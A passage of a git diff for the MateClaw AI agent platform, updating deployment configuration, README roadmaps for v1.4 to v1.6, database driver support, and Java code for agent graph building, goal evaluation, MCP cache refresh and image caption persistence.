diff --git a/.env.example b/.env.example index ce022f3a..3983a0dd 100644 --- a/.env.example +++ b/.env.example @@ -29,6 +29,11 @@ JWT_SECRET= # 若留空,服务器会允许所有 origin 并在启动日志里 WARN。生产部署务必设置。 MATECLAW_CORS_ALLOWED_ORIGINS= +# 公开访问基址(如 https://mateclaw.example.com)。用于把智能体生成文件的下载 +# 链接拼成绝对地址,便于在 Web 之外(IM 消息、复制链接、外部下载)直接打开。 +# 留空时回退到当前请求的 host,再退回相对路径。反代后部署建议显式设置。 +MATECLAW_PUBLIC_BASE_URL= + # SearXNG 会话密钥(容器内部用,留空会用开发默认值)。生产部署请设成 32+ 位随机串。 # openssl rand -hex 32 SEARXNG_SECRET= @@ -69,6 +74,36 @@ MATECLAW_BROWSER_CHANNEL= MATECLAW_OAUTH_OPENAI_DEPLOYMENT_MODE= MATECLAW_OAUTH_OPENAI_CALLBACK_BIND_HOST= +# ==================== Wiki 知识库目录白名单(Docker 模式,可选)==================== +# +# Docker 生产部署开启了路径安全校验(fail-closed)。 +# 知识库使用「目录扫描」功能时,扫描路径必须在此白名单内,否则返回 400 错误。 +# 多个路径用英文逗号分隔;留空则禁止所有目录扫描。 +# +# 示例:MATE_WIKI_ALLOWED_SOURCE_ROOTS=/data/wiki,/opt/docs +# +# 同时在 docker-compose.yml 的 volumes 里把宿主机目录挂进容器,例如: +# volumes: +# - /your/host/path:/data/wiki +MATE_WIKI_ALLOWED_SOURCE_ROOTS= + +# ── Wiki 知识源自动同步(变更监测)总开关 ──────────────────────── +# 定时扫描各知识库的源目录、自动消化新文件。默认关闭,运维主动开启。 +# AND 语义:全局这个开关开 *且* 某知识库自己的「自动同步」开关也开, +# 该库才会被定时扫描;手动「立即扫描」不受此开关影响。 +# 间隔单位毫秒,默认 5 分钟(目前为全局,暂不支持按库配置)。 +MATE_WIKI_WATCHER_ENABLED=false +MATE_WIKI_WATCHER_INTERVAL_MS=300000 + +# ── Skill 工作区目录 ───────────────────────────────────────────── +# 已安装的 skill、运行时积累的 LESSONS.md、skill 运行产物都落在这个目录。 +# 默认(容器内)已指向 /app/data/skills,由 docker-compose 的 server_data 卷 +# 持久化,容器重启不丢,无需额外挂卷。一般无需修改。 +# 内置 skill 由 JAR classpath 每次启动现场释放,挂空卷也不会丢内置文件。 +# 仅当你想把 skill 目录放到别处(如独立的 bind mount)时才覆盖此项, +# 并记得在 docker-compose.yml 的 volumes 里把对应宿主机目录挂进容器。 +MATECLAW_SKILL_WORKSPACE_ROOT= + # ── Maven 镜像(国内加速)───────────────────────────────────────── # 在中国大陆构建时取消注释,将 Aliyun 仓库优先级提前,大幅提速 mvn 拉包。 # 空值(默认)使用 US Maven Central → Google CDN → Aliyun 的顺序。 diff --git a/.gitignore b/.gitignore index 71b27cc3..f93f1342 100644 --- a/.gitignore +++ b/.gitignore @@ -111,3 +111,8 @@ scripts/.*-sync-state.json # Sandbox / external client work that lives in this directory # but should not ship in the repo. outputs/ + +# This is a pnpm monorepo — pnpm-lock.yaml is the only lockfile we track. +# Ignore stray npm/yarn lockfiles so they are not committed by mistake. +package-lock.json +yarn.lock diff --git a/README.md b/README.md index bf4f0646..3d338c90 100644 --- a/README.md +++ b/README.md @@ -217,9 +217,20 @@ Full docs at **[claw.mate.vip/docs](https://claw.mate.vip/docs)** — setup, arc ## Roadmap -**v1.3.0 (shipped 2026-05-13)** — Workflow engine · 6-pattern trigger system · Wiki transformations · per-agent MCP binding · multimodal sidecar routing · four JVM-native document generation tools · image edit. See the [v1.3.0 release notes](https://claw.mate.vip/docs/en/releases/1.3.0) for the full story. +**v1.5.0 (shipped 2026-06-04)** — Goal checklists (fuzzy score → ticked boxes) · self-maintaining Wiki (`[[wikilinks]]` · fact/experience layers · pageType profiles & permissions · KB pipelines · local-directory ingest) · per-owner memory isolation (`owner_key` + visibility scope + `endUserId` passthrough) · per-agent primary knowledge base · provider-preference model routing. Full story in the [v1.5.0 release notes](https://claw.mate.vip/docs/en/releases/1.5.0). -**Next** — Drag-to-edit workflow canvas · run replay timeline · `loop` and `invoke_skill` step modes · trigger priorities and event replay · industry scenario marketplace · more ACP upstream integrations. +**v1.4.0 (shipped 2026-05-23)** — Persistent Goals (lock a goal, self-evaluate every turn) · subagent delegation tree (3 levels deep · sync / parallel / async · one-sentence team builder) · progressive tool/skill disclosure · Workspace RBAC (Owner / Admin / Member / Viewer) · Feishu first-class (interactive / approval / streaming cards · channel-native tools). See the [v1.4.0 release notes](https://claw.mate.vip/docs/en/releases/1.4.0). + +**v1.3.0 (shipped 2026-05-13)** — Workflow engine · 6-pattern trigger system · Wiki transformations · per-agent MCP binding · multimodal sidecar routing · four JVM-native document-generation tools · image edit. See the [v1.3.0 release notes](https://claw.mate.vip/docs/en/releases/1.3.0). + +**v1.6.0 (in progress)** — make the autonomous employee *fast, sharp-eyed, and embeddable*: + +- **Faster first token** — two-stage skill loading (base skills resident, scenario skills retrieved on demand by a relevance scorer) plus prefix compression, cutting the cold-start payload that used to blow past a million characters +- **Native code execution** — `execute_code` lets an employee write and run sandboxed code to compute, transform data, and assemble multi-format reports, all JVM-side +- **Vision that persists** — images stay in context across turns; `image_analyze` re-reads an attachment on demand, so "zoom into that chart" follow-ups work without re-uploading +- **Embeddable & headless** — the webchat widget becomes a Web/API surface with multi-session support and per-end-user identity (`endUserId`), isolating memory per end user +- **A Wiki you actually read** — reading split from management, a unified Sources tab with per-KB auto-sync, and clickable cross-KB `[[wikilinks]]` +- **Steadier under load** — self-healing MCP connections · tool-call recovery on interleaved-thinking models · evidence-gated plan execution ## Contributing diff --git a/README_zh.md b/README_zh.md index 5b3f9789..dae024a8 100644 --- a/README_zh.md +++ b/README_zh.md @@ -217,9 +217,20 @@ mateclaw/ ## 路线图 -**v1.3.0(2026-05-13 发布)** — 工作流引擎 · 6 种 pattern 触发器 · Wiki 加工器 · 每员工独立 MCP 绑定 · 多模态旁路路由 · 4 个 JVM 原生文档生成工具 · 图像编辑。完整故事见 [v1.3.0 release notes](https://claw.mate.vip/docs/zh/releases/1.3.0)。 +**v1.5.0(2026-06-04 发布)** — Goal 可勾选清单(模糊评分 → 逐项打勾)· Wiki 自维护(`[[wikilinks]]` · 事实层/经验层 · pageType 模板与权限 · 知识库流水线 · 本地目录接入)· 按拥有者隔离记忆(`owner_key` + 可见域 + `endUserId` 透传)· 每员工绑定主知识库 · 偏好 provider 驱动选型。完整故事见 [v1.5.0 release notes](https://claw.mate.vip/docs/zh/releases/1.5.0)。 -**下一步** — 工作流画布可拖拉编辑 · 运行回放时间线 · `loop` / `invoke_skill` step mode · 触发器优先级 + 事件回放 · 行业场景应用市场 · 更多 ACP 上游集成。 +**v1.4.0(2026-05-23 发布)** — 持续目标(锁定目标,每轮自评)· 子员工委派树(最深 3 层 · 同步 / 并行 / 异步 · 一句话组队)· 工具/技能渐进式披露 · 工作空间 RBAC(Owner / Admin / Member / Viewer)· 飞书一等公民(交互卡 / 审批卡 / 流式卡 · 渠道原生工具)。详见 [v1.4.0 release notes](https://claw.mate.vip/docs/zh/releases/1.4.0)。 + +**v1.3.0(2026-05-13 发布)** — 工作流引擎 · 6 种 pattern 触发器 · Wiki 加工器 · 每员工独立 MCP 绑定 · 多模态旁路路由 · 4 个 JVM 原生文档生成工具 · 图像编辑。详见 [v1.3.0 release notes](https://claw.mate.vip/docs/zh/releases/1.3.0)。 + +**v1.6.0(开发中)** — 让自驱的数字员工*更快、更会看、更易嵌入*: + +- **首字节更快** — 技能两段式载入(基础技能常驻,场景技能由相关性评分器按需检索)+ prefix 压缩,砍掉过去单请求动辄上百万字符的冷启动负载 +- **原生代码执行** — `execute_code` 让员工自己写、自己跑沙箱代码,完成计算、数据加工与多格式报告生成,全程在 JVM 内 +- **能记住图的视觉** — 图片跨轮次保留在上下文里;`image_analyze` 按需重新解析某张附件,"放大看那张图表"这类追问无需重新上传 +- **可嵌入、可无头** — webchat 组件升级为 Web/API 接入面,支持多会话与按终端用户身份(`endUserId`)隔离记忆 +- **真正可读的 Wiki** — 阅读与管理分离、统一的 Sources 标签页(按知识库自动同步)、可点击的跨库 `[[wikilinks]]` +- **高负载更稳** — MCP 连接自愈 · interleaved-thinking 模型的工具调用恢复 · 计划执行的证据闸门 ## 参与贡献 diff --git a/docker-compose.yml b/docker-compose.yml index 69408c32..36fe8052 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -96,6 +96,19 @@ services: # 本机 Docker 若要强制使用 localhost:1455 回调,可在 .env 显式设为 local。 MATECLAW_OAUTH_OPENAI_DEPLOYMENT_MODE: ${MATECLAW_OAUTH_OPENAI_DEPLOYMENT_MODE:-} MATECLAW_OAUTH_OPENAI_CALLBACK_BIND_HOST: ${MATECLAW_OAUTH_OPENAI_CALLBACK_BIND_HOST:-0.0.0.0} + # Wiki 知识库目录扫描白名单(逗号分隔,留空则禁止所有目录扫描)。 + # 示例:MATE_WIKI_ALLOWED_SOURCE_ROOTS=/data/wiki,/opt/docs + # 记得同步在 volumes 里把宿主机路径挂进容器。 + MATE_WIKI_ALLOWED_SOURCE_ROOTS: ${MATE_WIKI_ALLOWED_SOURCE_ROOTS:-} + # Wiki 知识源自动同步总开关(运维总闸,默认关)。AND 语义:全局开关与 + # 每个知识库自己的「自动同步」开关都开,该库才会被定时扫描。 + # 间隔单位毫秒,默认 5 分钟。 + MATE_WIKI_WATCHER_ENABLED: ${MATE_WIKI_WATCHER_ENABLED:-false} + MATE_WIKI_WATCHER_INTERVAL_MS: ${MATE_WIKI_WATCHER_INTERVAL_MS:-300000} + # Skill 工作区根目录。放在 /app/data 下,让现有的 server_data 卷一并持久化 + # 已安装的 skill、运行时积累的 LESSONS.md 以及 skill 运行产物,容器重启不丢。 + # 内置 skill 仍由 JAR classpath 每次启动现场释放,空卷不会丢内置文件。 + MATECLAW_SKILL_WORKSPACE_ROOT: ${MATECLAW_SKILL_WORKSPACE_ROOT:-/app/data/skills} # Chromium needs a real /dev/shm. Docker defaults to 64MB which causes # SIGBUS / "Target page closed" errors under load. 2GB is the usual # recommendation for Playwright / headless chrome. @@ -104,6 +117,9 @@ services: - "18080:18088" # host:container — app listens on 18088 inside the container - "1455:1455" volumes: + # server_data covers /app/data — H2 DB, wiki-uploads, AND the skill + # workspace (MATECLAW_SKILL_WORKSPACE_ROOT=/app/data/skills above), so a + # single volume persists everything. No separate skills volume needed. - server_data:/app/data volumes: diff --git a/mateclaw-server/Dockerfile b/mateclaw-server/Dockerfile index 05963794..2898c2ae 100644 --- a/mateclaw-server/Dockerfile +++ b/mateclaw-server/Dockerfile @@ -105,9 +105,18 @@ RUN apt-get update \ # BrowserLauncher's BUNDLED strategy will then succeed without extra config. ENV PLAYWRIGHT_BROWSERS_PATH=/ms-playwright \ TZ=Asia/Shanghai \ - JAVA_TOOL_OPTIONS="-Duser.timezone=Asia/Shanghai" + LANG=C.UTF-8 \ + LC_ALL=C.UTF-8 \ + JAVA_TOOL_OPTIONS="-Duser.timezone=Asia/Shanghai -Dsun.jnu.encoding=UTF-8" + +# Default DB profile, overridable by the SPRING_PROFILES_ACTIVE env var +# (compose sets it explicitly: mysql / postgres / kingbase). It must be an ENV, +# not a -D system property on the ENTRYPOINT: a hardcoded +# -Dspring.profiles.active outranks the SPRING_PROFILES_ACTIVE env var and would +# silently pin the profile regardless of what compose passes. +ENV SPRING_PROFILES_ACTIVE=mysql COPY --from=builder /build/mateclaw-server/target/*.jar app.jar EXPOSE 18088 EXPOSE 1455 -ENTRYPOINT ["java", "-jar", "-Dspring.profiles.active=mysql", "app.jar"] +ENTRYPOINT ["java", "-jar", "app.jar"] diff --git a/mateclaw-server/pom.xml b/mateclaw-server/pom.xml index 74cf5bb4..e04bb74f 100644 --- a/mateclaw-server/pom.xml +++ b/mateclaw-server/pom.xml @@ -337,6 +337,30 @@ org.flywaydb flyway-mysql + + + org.flywaydb + flyway-database-postgresql + + + org.postgresql + postgresql + 42.7.7 + runtime + + + @@ -470,5 +494,24 @@ + + + + kingbase + + + com.kingbase8 + kingbase8 + 8.6.0 + runtime + + + diff --git a/mateclaw-server/src/main/java/vip/mate/MateClawApplication.java b/mateclaw-server/src/main/java/vip/mate/MateClawApplication.java index 3e33d262..dba85b66 100644 --- a/mateclaw-server/src/main/java/vip/mate/MateClawApplication.java +++ b/mateclaw-server/src/main/java/vip/mate/MateClawApplication.java @@ -1,19 +1,29 @@ package vip.mate; +import com.baomidou.mybatisplus.annotation.DbType; import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor; import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor; +import jakarta.annotation.PostConstruct; +import lombok.extern.slf4j.Slf4j; import org.mybatis.spring.annotation.MapperScan; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.context.event.ApplicationReadyEvent; import org.springframework.context.annotation.Bean; +import org.springframework.context.event.EventListener; import org.springframework.scheduling.annotation.EnableScheduling; +import javax.sql.DataSource; +import java.sql.Connection; + /** * MateClaw - Personal AI Assistant * Powered by Spring AI Alibaba * * @author MateClaw Team */ +@Slf4j @SpringBootApplication(exclude = { // Disable Spring AI MCP Client auto-configuration (lifecycle owned by McpClientManager). org.springframework.ai.mcp.client.common.autoconfigure.McpClientAutoConfiguration.class, @@ -33,22 +43,80 @@ import org.springframework.scheduling.annotation.EnableScheduling; @MapperScan("vip.mate.**.repository") public class MateClawApplication { + @Autowired + private DataSource dataSource; + + /** Cached DbType for the PaginationInnerInterceptor. */ + private volatile DbType resolvedDbType; + public static void main(String[] args) { SpringApplication.run(MateClawApplication.class, args); } + /** + * Detect the actual database type from the live DataSource so the + * {@link PaginationInnerInterceptor} always uses the correct dialect, + * even when the JDBC URL is wrapped by a proxy (HikariCP, P6Spy, etc.). + * + *

DbType is cached after the first successful detection; a failure + * falls back to the value set in {@code mybatis-plus.global-config.db-config.db-type}, + * or eventually to {@link DbType#MYSQL} — but by then the connection + * pool would already have failed. + */ + @PostConstruct + void detectDbType() { + try (Connection conn = dataSource.getConnection()) { + String productName = conn.getMetaData().getDatabaseProductName().toLowerCase(); + if (productName.contains("kingbase")) { + resolvedDbType = DbType.KINGBASE_ES; + } else if (productName.contains("postgresql")) { + resolvedDbType = DbType.POSTGRE_SQL; + } else if (productName.contains("mysql") || productName.contains("mariadb")) { + resolvedDbType = DbType.MYSQL; + } else if (productName.contains("h2")) { + resolvedDbType = DbType.H2; + } else { + // Let the PaginationInnerInterceptor auto-detect at query time + resolvedDbType = null; + } + if (resolvedDbType != null) { + log.info("Detected database type: {} (product={})", resolvedDbType, productName); + } + } catch (Exception e) { + log.warn("Could not detect database type — PaginationInnerInterceptor will auto-detect on first query: {}", + e.getMessage()); + } + } + /** * MyBatis Plus pagination plugin. * - *

DbType is auto-detected from the JDBC connection at runtime rather - * than hardcoded. Hardcoding H2 here meant the MySQL deployment used - * the H2 dialect for the count query, which silently returned 0 — - * frontends saw records but total=0 and couldn't paginate (RFC-042 P0). + *

When {@code resolvedDbType} is available the interceptor uses it directly; + * otherwise it falls back to JDBC-URL auto-detection, which works for + * {@code jdbc:kingbase8://} but not for proxied DataSources (RFC-042 P0). */ @Bean public MybatisPlusInterceptor mybatisPlusInterceptor() { MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor(); - interceptor.addInnerInterceptor(new PaginationInnerInterceptor()); + PaginationInnerInterceptor pagination = resolvedDbType != null + ? new PaginationInnerInterceptor(resolvedDbType) + : new PaginationInnerInterceptor(); + interceptor.addInnerInterceptor(pagination); return interceptor; } + + /** + * Print a clear "READY" banner after all post-startup initialization, + * so operators can tell at a glance when the application is ready to serve. + */ + @EventListener(ApplicationReadyEvent.class) + public void onReady() { + log.info(""); + log.info("╔══════════════════════════════════════════════════════════════════════╗"); + log.info("║ MateClaw is READY ✓ ║"); + log.info("║ Web UI → http://localhost:18088 ║"); + log.info("║ Swagger → http://localhost:18088/swagger-ui.html ║"); + log.info("╚══════════════════════════════════════════════════════════════════════╝"); + log.info(""); + } } diff --git a/mateclaw-server/src/main/java/vip/mate/agent/AgentGraphBuilder.java b/mateclaw-server/src/main/java/vip/mate/agent/AgentGraphBuilder.java index f9e16cc2..d42f2cad 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/AgentGraphBuilder.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/AgentGraphBuilder.java @@ -88,6 +88,11 @@ public class AgentGraphBuilder { @org.springframework.beans.factory.annotation.Value( "${mateclaw.skill.disclosure.load-skill-tool.enabled:true}") private boolean loadSkillToolEnabled; + + /** Escape hatch: when false, the final answer is sent verbatim without Markdown normalization. */ + @org.springframework.beans.factory.annotation.Value( + "${mate.agent.markdown-normalize-enabled:true}") + private boolean markdownNormalizeEnabled; private final ConversationService conversationService; private final ModelConfigService modelConfigService; private final ModelProviderService modelProviderService; @@ -152,6 +157,30 @@ public class AgentGraphBuilder { this.auditEventService = s; } + /** + * Optional per-step delegation dependencies for the Plan-Execute graph. + * Setter injection (like {@link #auditEventService}) breaks the + * {@code AgentService ⇆ AgentGraphBuilder} construction cycle. Null when not + * wired (legacy / test) — per-step delegation is then simply disabled. + */ + private AgentService agentService; + + // @Lazy on the injection point: inject a lazy-resolution proxy so the + // AgentService ⇆ AgentGraphBuilder cycle is broken at bean-creation time + // (the real bean is resolved on first use, when the graph is built). + @org.springframework.beans.factory.annotation.Autowired(required = false) + public void setAgentService(@org.springframework.context.annotation.Lazy AgentService agentService) { + this.agentService = agentService; + } + + private vip.mate.tool.builtin.DelegateAgentTool delegateAgentTool; + + @org.springframework.beans.factory.annotation.Autowired(required = false) + public void setDelegateAgentTool( + @org.springframework.context.annotation.Lazy vip.mate.tool.builtin.DelegateAgentTool delegateAgentTool) { + this.delegateAgentTool = delegateAgentTool; + } + /** * 根据 AgentEntity 构建完整的 Agent 实例(沿用 Agent / 全局默认模型)。 */ @@ -549,8 +578,11 @@ public class AgentGraphBuilder { if (auditEventService != null) { executor.setAuditEventService(auditEventService); } - PlanGenerationNode planGenerationNode = new PlanGenerationNode(chatModel, planningService, streamingHelper, conversationWindowManager, toolSet); + PlanGenerationNode planGenerationNode = new PlanGenerationNode(chatModel, planningService, streamingHelper, conversationWindowManager, toolSet, goalService, goalProperties, agentService); StepExecutionNode stepExecutionNode = new StepExecutionNode(chatModel, toolSet, executor, planningService, streamTracker, reasoningEffort, streamingHelper, conversationWindowManager, skillCatalogRenderer); + // Per-step delegation: route a step assigned to a specialist agent + // through DelegateAgentTool (null when delegation deps aren't wired). + stepExecutionNode.setDelegateAgentTool(delegateAgentTool); PlanSummaryNode planSummaryNode = new PlanSummaryNode(chatModel, planningService, streamingHelper); DirectAnswerNode directAnswerNode = new DirectAnswerNode(); @@ -574,6 +606,7 @@ public class AgentGraphBuilder { .addStrategy(PlanStateKeys.CURRENT_STEP_TITLE, KeyStrategy.REPLACE) .addStrategy(PlanStateKeys.CURRENT_STEP_RESULT, KeyStrategy.REPLACE) .addStrategy(PlanStateKeys.COMPLETED_RESULTS, KeyStrategy.APPEND) + .addStrategy(PlanStateKeys.PLAN_REPLAN_COUNT, KeyStrategy.REPLACE) .addStrategy(PlanStateKeys.FINAL_SUMMARY, KeyStrategy.REPLACE) .addStrategy(PlanStateKeys.DIRECT_ANSWER, KeyStrategy.REPLACE) // 工作上下文(REPLACE 策略,每次重新生成) @@ -638,6 +671,7 @@ public class AgentGraphBuilder { .addStrategy(MateClawStateKeys.GOAL_EVALUATED_THIS_RUN, KeyStrategy.REPLACE) .addStrategy(MateClawStateKeys.GOAL_FOLLOWUP_COUNT, KeyStrategy.REPLACE) .addStrategy(MateClawStateKeys.GOAL_ACCOUNTED_LLM_CALL_COUNT, KeyStrategy.REPLACE) + .addStrategy(MateClawStateKeys.GOAL_HARD_CONTINUATION_COUNT, KeyStrategy.REPLACE) // Skill progressive disclosure — pinned skills loaded this // run. Registered in BOTH graphs so the read-merge-write in // ActionNode is not dropped on multi-node merges. @@ -652,6 +686,7 @@ public class AgentGraphBuilder { // ├→ DIRECT_ANSWER_NODE → END // └→ STEP_EXECUTION → (StepProgressDispatcher) // ├→ STEP_EXECUTION (loop) + // ├→ PLAN_GENERATION (re-plan on step failure, bounded by PLAN_REPLAN_COUNT) // └→ PLAN_SUMMARY → (active goal?) // ├→ GOAL_EVALUATION → (followup?) // │ ├→ PLAN_GENERATION (re-plan) @@ -685,11 +720,18 @@ public class AgentGraphBuilder { Map.of( PlanStateKeys.STEP_EXECUTION_NODE, PlanStateKeys.STEP_EXECUTION_NODE, PlanStateKeys.PLAN_SUMMARY_NODE, PlanStateKeys.PLAN_SUMMARY_NODE, + // Step-failure recovery: re-plan the remaining work + // (StepProgressDispatcher returns this on phase=plan_replan). + PlanStateKeys.PLAN_GENERATION_NODE, PlanStateKeys.PLAN_GENERATION_NODE, StateGraph.END, StateGraph.END)) .addConditionalEdges(PlanStateKeys.PLAN_SUMMARY_NODE, AsyncEdgeAction.edge_async(state -> { MateClawStateAccessor a = new MateClawStateAccessor(state); - boolean hasGoal = a.hasActiveGoal(); + // Same-turn activation: fall back to a DB lookup (gated on the + // feature flag) so a goal the agent set THIS turn is evaluated now, + // not only from the next message. See GoalEvaluationNode.resolveActiveGoal. + boolean hasGoal = goalProperties.isEnabled() + && GoalEvaluationNode.resolveActiveGoal(state, goalService).isPresent(); boolean already = a.goalEvaluatedThisRun(); return (hasGoal && !already) ? MateClawStateKeys.GOAL_EVALUATION_NODE @@ -714,7 +756,11 @@ public class AgentGraphBuilder { .addConditionalEdges(PlanStateKeys.DIRECT_ANSWER_NODE, AsyncEdgeAction.edge_async(state -> { MateClawStateAccessor a = new MateClawStateAccessor(state); - boolean hasGoal = a.hasActiveGoal(); + // Same-turn activation: fall back to a DB lookup (gated on the + // feature flag) so a goal the agent set THIS turn is evaluated now, + // not only from the next message. See GoalEvaluationNode.resolveActiveGoal. + boolean hasGoal = goalProperties.isEnabled() + && GoalEvaluationNode.resolveActiveGoal(state, goalService).isPresent(); boolean already = a.goalEvaluatedThisRun(); return (hasGoal && !already) ? MateClawStateKeys.GOAL_EVALUATION_NODE @@ -751,9 +797,17 @@ public class AgentGraphBuilder { * and tool-result chunking. Decoupled from the per-agent value so a small * {@code max_iterations} can never accidentally re-introduce the silent * killer. + *

+ * The base segment budget is further multiplied to cover goal-driven "hard + * continuations" — each grants a fresh full iteration budget after a + * max-iterations turn (see {@code GoalEvaluationNode}). One run can perform + * up to {@link vip.mate.goal.config.GoalProperties#MAX_HARD_CONTINUATIONS_CEILING} of them, so + * the ceiling is sized for {@code (1 + CEILING)} segments to keep the + * recursion guard from tripping before the soft caps do. */ private static int frameworkRecursionLimit() { - return (BaseAgent.MAX_ITERATIONS_HARD_CEILING + 5) * 4 + 100; + int perSegment = (BaseAgent.MAX_ITERATIONS_HARD_CEILING + 5) * 4; + return perSegment * (1 + vip.mate.goal.config.GoalProperties.MAX_HARD_CONTINUATIONS_CEILING) + 100; } CompiledGraph buildReActGraph(AgentToolSet toolSet, ChatModel chatModel, int maxIterations, String reasoningEffort) { @@ -809,7 +863,7 @@ public class AgentGraphBuilder { SummarizingNode summarizingNode = new SummarizingNode(chatModel, streamingHelper, streamTracker); LimitExceededNode limitExceededNode = new LimitExceededNode( chatModel, observationProcessor, streamingHelper, i18nService, progressLedgerService); - FinalAnswerNode finalAnswerNode = new FinalAnswerNode(generatedFileCache); + FinalAnswerNode finalAnswerNode = new FinalAnswerNode(generatedFileCache, markdownNormalizeEnabled); KeyStrategyFactory keyStrategyFactory = KeyStrategy.builder() // 输入字段 @@ -821,6 +875,7 @@ public class AgentGraphBuilder { .addStrategy(MateClawStateKeys.MESSAGES, KeyStrategy.APPEND) // 迭代控制 .addStrategy(MateClawStateKeys.CURRENT_ITERATION, KeyStrategy.REPLACE) + .addStrategy(MateClawStateKeys.ITERATION_REFUND_COUNT, KeyStrategy.REPLACE) .addStrategy(MateClawStateKeys.MAX_ITERATIONS, KeyStrategy.REPLACE) // 工具调用 .addStrategy(MateClawStateKeys.TOOL_CALLS, KeyStrategy.REPLACE) @@ -902,6 +957,7 @@ public class AgentGraphBuilder { .addStrategy(MateClawStateKeys.GOAL_EVALUATED_THIS_RUN, KeyStrategy.REPLACE) .addStrategy(MateClawStateKeys.GOAL_FOLLOWUP_COUNT, KeyStrategy.REPLACE) .addStrategy(MateClawStateKeys.GOAL_ACCOUNTED_LLM_CALL_COUNT, KeyStrategy.REPLACE) + .addStrategy(MateClawStateKeys.GOAL_HARD_CONTINUATION_COUNT, KeyStrategy.REPLACE) // Skill progressive disclosure — pinned skills loaded this // run. Registered in BOTH graphs so the read-merge-write in // ActionNode is not dropped on multi-node merges. @@ -951,7 +1007,11 @@ public class AgentGraphBuilder { .addConditionalEdges(MateClawStateKeys.FINAL_ANSWER_NODE, AsyncEdgeAction.edge_async(state -> { MateClawStateAccessor a = new MateClawStateAccessor(state); - boolean hasGoal = a.hasActiveGoal(); + // Same-turn activation: fall back to a DB lookup (gated on the + // feature flag) so a goal the agent set THIS turn is evaluated now, + // not only from the next message. See GoalEvaluationNode.resolveActiveGoal. + boolean hasGoal = goalProperties.isEnabled() + && GoalEvaluationNode.resolveActiveGoal(state, goalService).isPresent(); boolean already = a.goalEvaluatedThisRun(); return (hasGoal && !already) ? MateClawStateKeys.GOAL_EVALUATION_NODE @@ -1315,6 +1375,23 @@ public class AgentGraphBuilder { // ==================== Prompt 构建 ==================== + /** + * Cache-stable platform identity, appended to every agent's system + * prompt. Answers "who are you / what are you based on". The volatile + * "which model right now" fact is injected per-turn by + * {@link vip.mate.agent.context.RuntimeContextInjector} instead, to + * keep this prefix's prompt-cache hash stable. + */ + static final String ABOUT_YOU_BLOCK = """ + + ## About You + You are powered by MateClaw — a multi-user AI Agent platform built on + Spring Boot 3.5 and Spring AI Alibaba Graph. You are reachable through + WebChat and 8+ IM channels (DingTalk, Feishu, WeCom, WeChat, Telegram, + Discord, QQ, Slack). If asked who you are or what you are based on, + answer with MateClaw and the technology stack above. + """; + private String buildEnhancedPrompt(AgentEntity entity, boolean builtinSearchEnabled) { // The agent's own systemPrompt encodes its identity (role / goal / // backstory). The memory block from workspace files (AGENTS.md, SOUL.md, @@ -1470,7 +1547,7 @@ public class AgentGraphBuilder { // Wiki 知识库上下文注入 String wikiContext = wikiContextService.buildWikiContext(entity.getId()); - return basePrompt + toolGuidance + searchGuidance + wikiContext; + return basePrompt + ABOUT_YOU_BLOCK + toolGuidance + searchGuidance + wikiContext; } /** diff --git a/mateclaw-server/src/main/java/vip/mate/agent/AgentService.java b/mateclaw-server/src/main/java/vip/mate/agent/AgentService.java index e7b9c159..217cff21 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/AgentService.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/AgentService.java @@ -505,6 +505,19 @@ public class AgentService { log.info("Agent caches refreshed after tool guard config change (denied tools may have changed)"); } + /** + * Issue #289: an MCP server connecting / disconnecting / reconnecting + * changes the live tool set, but cached agents snapshot their tools at + * build time. Clear the cache so the next turn rebuilds against the + * current MCP tools instead of replying "from memory" with a stale, + * tool-less graph. + */ + @EventListener + public void onMcpServerChanged(vip.mate.tool.mcp.event.McpServerChangedEvent event) { + refreshAllAgents(); + log.info("Agent caches refreshed after MCP server change: {}", event.reason()); + } + // ==================== Lifecycle helpers ==================== /** diff --git a/mateclaw-server/src/main/java/vip/mate/agent/BaseAgent.java b/mateclaw-server/src/main/java/vip/mate/agent/BaseAgent.java index 801de3a0..344b8640 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/BaseAgent.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/BaseAgent.java @@ -955,6 +955,11 @@ public abstract class BaseAgent { if (decision.strategy() == MultimodalRoutingDecision.Strategy.SIDECAR && mediaCaptionService != null && decision.sidecarModel() != null) { + // The user's actual question (text parts only, excluding media markers) + // so the vision model tailors its description to what was asked rather + // than emitting a generic caption. + String userQuestion = extractUserQuestion(parts); + boolean captionPersisted = false; for (MessageContentPart part : parts) { if (part == null) continue; String contentType = part.getContentType(); @@ -963,13 +968,23 @@ public abstract class BaseAgent { && !contentType.contains("svg"); if (!isImage) continue; MediaCaptionService.CaptionResult result = mediaCaptionService.caption( - decision.sidecarModel(), part, userLocale); + decision.sidecarModel(), part, userLocale, userQuestion); if (result.isFailure()) { log.warn("[{}] Sidecar caption failed for {}: {}", agentName, part.getFileName(), result.failure().getMessage()); - textBuilder.append("\n\n[系统提示] 视觉模型未能解析附件 ") - .append(part.getFileName()) - .append(",请稍后重试或在「设置 → 模型」检查视觉模型配置。"); + if (isRemoteOnlyAttachment(part)) { + // The image was never downloaded locally (only a remote + // channel URL survives) — for WeCom/aibot that URL points + // at short-lived AES-encrypted bytes, so captioning can + // never succeed until media download is enabled. + textBuilder.append("\n\n[系统提示] 图片 ") + .append(part.getFileName()) + .append(" 未下载到本地,无法识别;请在「设置 → 渠道」开启该渠道的媒体下载。"); + } else { + textBuilder.append("\n\n[系统提示] 视觉模型未能解析附件 ") + .append(part.getFileName()) + .append(",请稍后重试或在「设置 → 模型」检查视觉模型配置。"); + } continue; } textBuilder.append("\n\n[图片附件描述: ") @@ -977,9 +992,17 @@ public abstract class BaseAgent { .append("]\n") .append(result.description()) .append("\n[/图片附件描述]"); + // Persist the caption onto the part so later turns retain the image + // content: history user messages replay as text only, and without a + // stored caption every follow-up question loses the attachment. + part.setCaption(result.description()); + captionPersisted = true; String identifier = identifyPart(part); if (identifier != null) sidecarHandledIdentifiers.add(identifier); } + if (captionPersisted && conversationService != null) { + conversationService.updateMessageParts(message, parts); + } } List mediaList = new ArrayList<>(); @@ -1048,7 +1071,7 